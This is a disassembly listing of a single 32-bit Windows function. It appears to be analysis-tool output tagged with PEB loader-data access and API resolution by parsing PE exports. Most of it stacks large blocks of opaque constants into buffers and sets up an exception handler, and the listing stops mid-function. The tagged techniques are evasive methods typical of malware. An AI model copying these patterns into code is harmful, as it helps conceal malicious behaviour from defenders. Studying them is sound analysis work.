Function at 0x402f9a
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x990
mov esi, esp
mov dword [esi + 0x978], ebp
mov eax, 0x84cf2f9
mov ecx, 0x6657c2fb
mov edx, 0xfa8f68b4
mov edi, 0xd87f96b9
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x50], xmm2
mov eax, 0x341aaeb5
mov ecx, 0xadb4022d
mov edx, 0xce03f0e
mov edi, 0x738d9742
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x480], xmm2
mov eax, 0x8a6c205
mov ecx, 0x87e67015
mov edx, 0xd3db9785
mov edi, 0xb2aee7
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x470], xmm2
mov eax, 0xa656c15c
mov ecx, 0xbf59e7fe
mov edx, 0xdeb7731c
mov edi, 0xf2b602e9
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x460], xmm2
mov eax, 0xe19401ac
mov ecx, 0x3712014b
mov edx, 0x5b84acee
mov edi, 0xac640fe3
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x450], xmm2
mov eax, 0x3518557e
mov ecx, 0x240cd45a
mov edx, 0x410684b0
mov edi, 0xde77de85
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x440], xmm2
mov eax, 0x3acceb1
mov ecx, 0x1a3f7a32
mov edx, 0x8956bd96
mov edi, 0x2942ffcd
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x430], xmm0
mov eax, 0xda3e9e20
mov ecx, 0xda79e466
mov edx, 0x28fbcc95
mov edi, 0x1865510f
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x420], xmm2
mov eax, 0x196cab51
mov ecx, 0x406d770
mov edx, 0x9e3f0827
mov edi, 0x22ce44bd
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x410], xmm2
mov eax, 0x44c0691e
mov ecx, 0xb7903a16
mov edx, 0xd552684c
mov edi, 0xfd3d6397
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x400], xmm2
mov eax, 0xc8db3d6d
mov ecx, 0xf1f632e1
mov edx, 0x5e92d2b2
mov edi, 0x5dc3dd5e
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x3f0], xmm2
mov eax, 0x1d209ce2
mov ecx, 0x81ea7c69
mov edx, 0xdaa52923
mov edi, 0xce1183cf
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x3e0], xmm2
mov eax, 0x64b17bee
mov ecx, 0x770049e
mov edx, 0xd1ffef8e
mov edi, 0x7f9f584b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x3d0], xmm2
mov eax, 0xb179515c
mov ecx, 0xa54ac2e9
mov edx, 0x1b8ffe74
mov edi, 0x13d2a14b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x3c0], xmm0
mov eax, 0xff18364e
mov ecx, 0x6e91d91b
mov edx, 0x543075bb
mov edi, 0xdac18458
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x3b0], xmm2
mov eax, 0xac087b6c
mov ecx, 0xebfbf1b8
mov edx, 0xd058ab10
mov edi, 0x487b9f80
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x3a0], xmm2
mov eax, 0x91752c0a
mov ecx, 0x84633883
mov edx, 0x3e02c851
mov edi, 0x6c282a4a
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x390], xmm2
mov eax, 0xc21a9feb
mov ecx, 0x690dfd74
mov edx, 0x69115a11
mov edi, 0x47f7e856
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x380], xmm2
mov eax, 0x8cf9a470
mov ecx, 0x9d772ba5
mov edx, 0x1a441b82
mov edi, 0x59a2aa4f
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x370], xmm2
mov eax, 0x3d9833c6
mov ecx, 0xd7118a3d
mov edx, 0xc2b50ada
mov edi, 0xc297537d
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x360], xmm2
mov eax, 0xc9c46aff
mov ecx, 0x9c025946
mov edx, 0x6ff24557
mov edi, 0x67c6fd33
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x350], xmm0
mov eax, 0x82e5ad3e
mov ecx, 0x82e89c05
mov edx, 0xa4d701ea
mov edi, 0xc6427e25
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x340], xmm2
mov eax, 0x5a97fa35
mov ecx, 0xaf4156c1
mov edx, 0xf19a7c00
mov edi, 0xb9429290
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x330], xmm2
mov eax, 0xaa9acb3e
mov ecx, 0x1cedad78
mov edx, 0x8f308bf3
mov edi, 0x3bfa01b3
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x320], xmm2
mov eax, 0x18d32d7
mov ecx, 0x28272bc3
mov edx, 0x4ec148a1
mov edi, 0x4ebfaa18
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x310], xmm2
mov eax, 0xbe5cc9d4
mov ecx, 0x1bcbda10
mov edx, 0x844eb9b6
mov edi, 0x97dbe80e
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x300], xmm2
mov eax, 0xb3f9ca92
mov ecx, 0x4f500950
mov edx, 0xd38278a0
mov edi, 0x21aa0fe4
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x2f0], xmm2
mov eax, 0xcf9f46c3
mov ecx, 0x907fb71
mov edx, 0x8671e597
mov edi, 0x9f91798
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x2e0], xmm0
mov eax, 0xabcabfa4
mov ecx, 0xa26c17a9
mov edx, 0x8ce958b0
mov edi, 0x8d447fd8
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x2d0], xmm2
mov eax, 0x28a0534f
mov ecx, 0x112abba0
mov edx, 0x9ee91a95
mov edi, 0x86ff3f6a
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x2c0], xmm2
mov eax, 0x65257942
mov ecx, 0x5e5ad18
mov edx, 0x75059cb4
mov edi, 0x498da785
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x2b0], xmm2
mov eax, 0x558d1450
mov ecx, 0x8adfc0db
mov edx, 0xc8da336
mov edi, 0x31cdb073
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x2a0], xmm2
mov eax, 0x1079c41f
mov ecx, 0xa934ffcb
mov edx, 0xa59c8b94
mov edi, 0xa5f000b7
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x290], xmm2
mov eax, 0x6d9a4d49
mov ecx, 0x394049aa
mov edx, 0x8e2eb82b
mov edi, 0x5b8fba0
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x280], xmm2
mov eax, 0x7c64a88e
mov ecx, 0x98979884
mov edx, 0x1c7844e2
mov edi, 0xa4ea1817
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x270], xmm0
mov eax, 0xbd1af406
mov ecx, 0x10f2e27f
mov edx, 0xae1ea34b
mov edi, 0x10b6ff60
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x260], xmm2
mov eax, 0xb0417bb8
mov ecx, 0xc1a28e50
mov edx, 0xe5c65878
mov edi, 0x37fbb786
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x250], xmm2
mov eax, 0x88e54e5
mov ecx, 0x686912d3
mov edx, 0x9665d283
mov edi, 0x38b01c71
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x240], xmm2
mov eax, 0x7dd65df
mov ecx, 0xb903bf58
mov edx, 0xd94072df
mov edi, 0x7afde46f
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x230], xmm2
mov eax, 0xde62a363
mov ecx, 0x1834ab9a
mov edx, 0x33bbc9bb
mov edi, 0xe3898d28
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x220], xmm2
mov eax, 0x49e53900
mov ecx, 0xb0caf284
mov edx, 0xce78a1cc
mov edi, 0x82035bed
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x210], xmm2
mov eax, 0xc2a99466
mov ecx, 0x166ea4e0
mov edx, 0xc4c6c22c
mov edi, 0xe7d247da
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x200], xmm0
mov eax, 0xc693ff1d
mov ecx, 0x765872e9
mov edx, 0x73d65162
mov edi, 0x81e2f26b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x1f0], xmm2
mov eax, 0x7c9a968c
mov ecx, 0xd8b547b1
mov edx, 0x897a75a
mov edi, 0xef400d6f
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x1e0], xmm2
mov eax, 0x8376bdcc
mov ecx, 0x24cefb90
mov edx, 0x94996755
mov edi, 0xe9ff954b
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x1d0], xmm2
mov eax, 0xb8a4fd50
mov ecx, 0xf72fff03
mov edx, 0x2313a834
mov edi, 0x6672dd82
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x1c0], xmm2
mov eax, 0x6f6e0db
mov ecx, 0xc16f1657
mov edx, 0x5bf6206d
mov edi, 0x2cecc15c
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x1b0], xmm2
mov eax, 0xb3a82514
mov ecx, 0x3d8b2ed7
mov edx, 0x10455564
mov edi, 0xdc178c58
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x1a0], xmm2
mov eax, 0x67b3c8fe
mov ecx, 0xd7301d4e
mov edx, 0x16fe72c6
mov edi, 0xee663181
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x190], xmm0
mov eax, 0x7ab8d1af
mov ecx, 0x2d73c682
mov edx, 0xf9b8e80b
mov edi, 0x5e437330
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x180], xmm2
mov eax, 0x332226de
mov ecx, 0x3ab008bc
mov edx, 0x6ca106af
mov edi, 0x2ec0a145
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x170], xmm2
mov eax, 0x1f00a92b
mov ecx, 0x43b42d96
mov edx, 0x9989e62d
mov edi, 0x16799366
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x160], xmm2
mov eax, 0x3d85f584
mov ecx, 0xb9841cff
mov edx, 0x338cbdfe
mov edi, 0x893279ee
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x150], xmm2
mov eax, 0x632d8dc7
mov ecx, 0x516427b8
mov edx, 0x4720df10
mov edi, 0x10183027
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x140], xmm2
mov eax, 0x776a6434
mov ecx, 0x619705
mov edx, 0xfe8e6e55
mov edi, 0x610ac30c
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x130], xmm2
mov eax, 0x613d2375
mov ecx, 0x91167495
mov edx, 0xa5775d21
mov edi, 0x6d6b3ea4
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0x120], xmm0
mov eax, 0x6374d89f
mov ecx, 0xa92a3e54
mov edx, 0xa9c86f8e
mov edi, 0xfe028dd7
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x110], xmm2
mov eax, 0x96ca2084
mov ecx, 0x5bb445a
mov edx, 0x1a353c8d
mov edi, 0x2a9cf0ff
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x100], xmm2
mov eax, 0xcfbf7d6c
mov ecx, 0xa151ad0c
mov edx, 0xdf67233a
mov edi, 0x7441adf7
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0xf0], xmm2
mov eax, 0x844e1372
mov ecx, 0x333979af
mov edx, 0xaa599444
mov edi, 0x9b498143
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0xe0], xmm2
mov eax, 0xa7688969
mov ecx, 0xd565b52a
mov edx, 0xc48ae4b7
mov edi, 0xec92bf10
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0xd0], xmm2
mov eax, 0x993ed0d7
mov ecx, 0xe6460762
mov edx, 0x4d16b020
mov edi, 0xd8ca7bcc
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0xc0], xmm2
mov eax, 0x8deed677
mov ecx, 0x7e553595
mov edx, 0x1122942a
mov edi, 0xa1b8dd7e
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm0, eax
punpckldq xmm0, xmm2
punpcklqdq xmm0, xmm1
movdqa xmmword [esi + 0xb0], xmm0
mov eax, 0xa9fb81b7
mov ecx, 0x85d89726
mov edx, 0x17bd870d
mov edi, 0x6c1ebef
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0xa0], xmm2
mov eax, 0xe8899124
mov ecx, 0x2c99ef7a
mov edx, 0x762fc504
mov edi, 0xf2d86be1
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
movdqa xmmword [esi + 0x90], xmm2
mov eax, 0x8a346aef
mov ecx, 0x84a3036c
mov edx, 0x6a2dea2c
mov edi, 0x305d524f
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm4, eax
punpckldq xmm4, xmm0
punpcklqdq xmm4, xmm1
mov eax, 0x837b4329
mov ecx, 0xab26d5ff
mov edx, 0x7be5bdca
mov edi, 0x95b068a
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm5, eax
punpckldq xmm5, xmm0
punpcklqdq xmm5, xmm1
mov eax, 0x97e40d5e
mov ecx, 0xa91f97c
mov edx, 0xb5ab6d4c
mov edi, 0xf4b6dbf
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm6, eax
punpckldq xmm6, xmm0
punpcklqdq xmm6, xmm1
mov eax, 0x48ad0204
mov ecx, 0x1c394f06
mov edx, 0x12f45aca
mov edi, 0x88bf7f55
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm7, eax
punpckldq xmm7, xmm0
punpcklqdq xmm7, xmm1
mov eax, 0x65867b0c
mov ecx, 0xe5f817b0
mov edx, 0x6284e118
mov edi, 0xef113df7
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm2, ecx
movd xmm3, eax
punpckldq xmm3, xmm2
punpcklqdq xmm3, xmm1
mov eax, 0x7c0c76d1
mov ecx, 0x6764d5cf
mov edx, 0x966a7232
mov edi, 0xccc745c6
movd xmm0, edi
movd xmm1, edx
punpckldq xmm1, xmm0
movd xmm0, ecx
movd xmm2, eax
punpckldq xmm2, xmm0
punpcklqdq xmm2, xmm1
lea eax, [esi + 0x980]
mov dword [eax - 4], esp
mov dword [eax + 8], 0xffffffff
mov dword [eax + 4], 0x412c20
mov ecx, dword fs:[0]
mov dword [eax], ecx
mov dword fs:[0], eax
mov eax, 0x5099f673
mov ecx, 0x6aebbe0f
mov dword [esi + 0x14], ecx
mov dword [esi + 0x10], eax
mov eax, 0x3bf68b47
mov ecx, 0x3615ca04
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x18], eax
mov eax, 0x8c31a05
mov ecx, 0x5737c2fb
mov dword [esi + 0x84], ecx
mov dword [esi + 0x88], eax
lea ebx, [esi + 0x4f0]
mov dword [ebx + 4], ecx
mov dword [ebx], eax
mov eax, 0x9e6ae166
mov ecx, 0x534fc432
mov dword [esi + 0x7c], ecx
mov dword [esi + 0x80], eax
mov dword [ebx + 0xc], ecx
mov dword [ebx + 8], eax
mov eax, 0x6691a2e7
mov ecx, 0xe7030d39
mov dword [esi + 0x74], ecx
mov dword [esi + 0x78], eax
mov dword [ebx + 0x14], ecx
mov dword [ebx + 0x10], eax
mov eax, 0x871f0e28
mov ecx, 0xb3bcbf30
mov dword [esi + 0x6c], ecx
mov dword [esi + 0x70], eax
mov dword [ebx + 0x1c], ecx
mov dword [ebx + 0x18], eax
mov eax, 0x74c7fea9
mov ecx, 0x46c65c17
mov dword [ebx + 0x24], ecx
mov dword [ebx + 0x20], eax
mov eax, 0x14da9a4a
mov ecx, 0x525ddbae
mov dword [ebx + 0x2c], ecx
mov dword [ebx + 0x28], eax
mov eax, 0xb6044a0b
mov ecx, 0xbe65a575
mov dword [ebx + 0x34], ecx
mov dword [ebx + 0x30], eax
mov eax, 0xa6f7f8cc
mov ecx, 0xbec2c26c
mov dword [ebx + 0x3c], ecx
mov dword [ebx + 0x38], eax
mov eax, 0xa91fd1ad
mov ecx, 0x6f995153
mov dword [ebx + 0x44], ecx
mov dword [ebx + 0x40], eax
mov eax, 0xde57adce
mov ecx, 0xe5587b2a
mov dword [ebx + 0x4c], ecx
mov dword [ebx + 0x48], eax
mov eax, 0x193aa4f
mov ecx, 0x15dad5d1
mov dword [ebx + 0x54], ecx
mov dword [ebx + 0x50], eax
mov eax, 0x8ec72870
mov ecx, 0xe6b0df88
mov dword [ebx + 0x5c], ecx
mov dword [ebx + 0x58], eax
mov eax, 0x58bb51
mov ecx, 0x6704824f
mov dword [ebx + 0x64], ecx
mov dword [ebx + 0x60], eax
mov eax, 0xd1b6c8b2
mov ecx, 0x2866a746
mov dword [ebx + 0x6c], ecx
mov dword [ebx + 0x68], eax
mov eax, 0xd6b5f8f3
mov ecx, 0xc6216f2d
mov dword [ebx + 0x74], ecx
mov dword [ebx + 0x70], eax
mov eax, 0x2c701f94
mov ecx, 0x91b55084
mov dword [ebx + 0x7c], ecx
mov dword [ebx + 0x78], eax
mov eax, 0x42488f15
mov ecx, 0x5e5fb62b
mov dword [ebx + 0x84], ecx
mov dword [ebx + 0x80], eax
mov eax, 0xc6dff776
mov ecx, 0x30451ee2
mov dword [ebx + 0x8c], ecx
mov dword [ebx + 0x88], eax
mov eax, 0xbb3fe9f7
mov ecx, 0xc3f867e9
mov dword [ebx + 0x94], ecx
mov dword [ebx + 0x90], eax
mov eax, 0xbd521838
mov ecx, 0x95530ae0
mov dword [ebx + 0x9c], ecx
mov dword [ebx + 0x98], eax
mov eax, 0xbf975539
mov ecx, 0x240935c7
mov dword [ebx + 0xa4], ecx
mov dword [ebx + 0xa0], eax
mov eax, 0x6ca1a6da
mov ecx, 0x2fa0b55e
mov dword [ebx + 0xac], ecx
mov dword [ebx + 0xa8], eax
mov eax, 0x7574ec9b
mov ecx, 0x86cc0b25
mov dword [ebx + 0xb4], ecx
mov dword [ebx + 0xb0], eax
mov eax, 0x194fcdc
mov ecx, 0x9d42d09c
mov dword [ebx + 0xbc], ecx
mov dword [ebx + 0xb8], eax
mov eax, 0x7bb513bd
mov ecx, 0xd28fbf03
mov dword [ebx + 0xc4], ecx
mov dword [ebx + 0xc0], eax
mov eax, 0x8d97bcde
mov ecx, 0x979f585a
mov dword [ebx + 0xcc], ecx
mov dword [ebx + 0xc8], eax
mov eax, 0xb17952df
mov ecx, 0xa53ec281
mov dword [ebx + 0xd4], ecx
mov dword [ebx + 0xd0], eax
mov eax, 0x1bfffe00
mov ecx, 0x13e8a138
mov dword [ebx + 0xdc], ecx
mov dword [ebx + 0xd8], eax
mov eax, 0xff373661
mov ecx, 0x6ef5d97f
mov dword [ebx + 0xe4], ecx
mov dword [ebx + 0xe0], eax
mov eax, 0x544375c2
mov ecx, 0xdaad8476
mov dword [ebx + 0xec], ecx
mov dword [ebx + 0xe8], eax
mov eax, 0xac7e7b03
mov ecx, 0xebc1f1dd
mov dword [ebx + 0xf4], ecx
mov dword [ebx + 0xf0], eax
mov eax, 0xd06cab24
mov ecx, 0x484f9fb4
mov dword [ebx + 0xfc], ecx
mov dword [ebx + 0xf8], eax
mov eax, 0x91182c25
mov ecx, 0x840038db
mov dword [ebx + 0x104], ecx
mov dword [ebx + 0x100], eax
mov eax, 0x3e53c806
mov ecx, 0x6c052a12
mov dword [ebx + 0x10c], ecx
mov dword [ebx + 0x108], eax
mov eax, 0xc24e9f87
mov ecx, 0x6975fd19
mov dword [ebx + 0x114], ecx
mov dword [ebx + 0x110], eax
mov eax, 0x694e5a48
mov ecx, 0x4799e810
mov dword [ebx + 0x11c], ecx
mov dword [ebx + 0x118], eax
mov eax, 0x8ca9a449
mov ecx, 0x9d1f2bf7
mov dword [ebx + 0x124], ecx
mov dword [ebx + 0x120], eax
mov eax, 0x1a7c1bea
mov ecx, 0x5994aa0e
mov dword [ebx + 0x12c], ecx
mov dword [ebx + 0x128], eax
mov eax, 0x3dd133ab
mov ecx, 0xd7688a55
mov dword [ebx + 0x134], ecx
mov dword [ebx + 0x130], eax
mov eax, 0xc2810aec
mov ecx, 0xc2e3534c
mov dword [ebx + 0x13c], ecx
mov dword [ebx + 0x138], eax
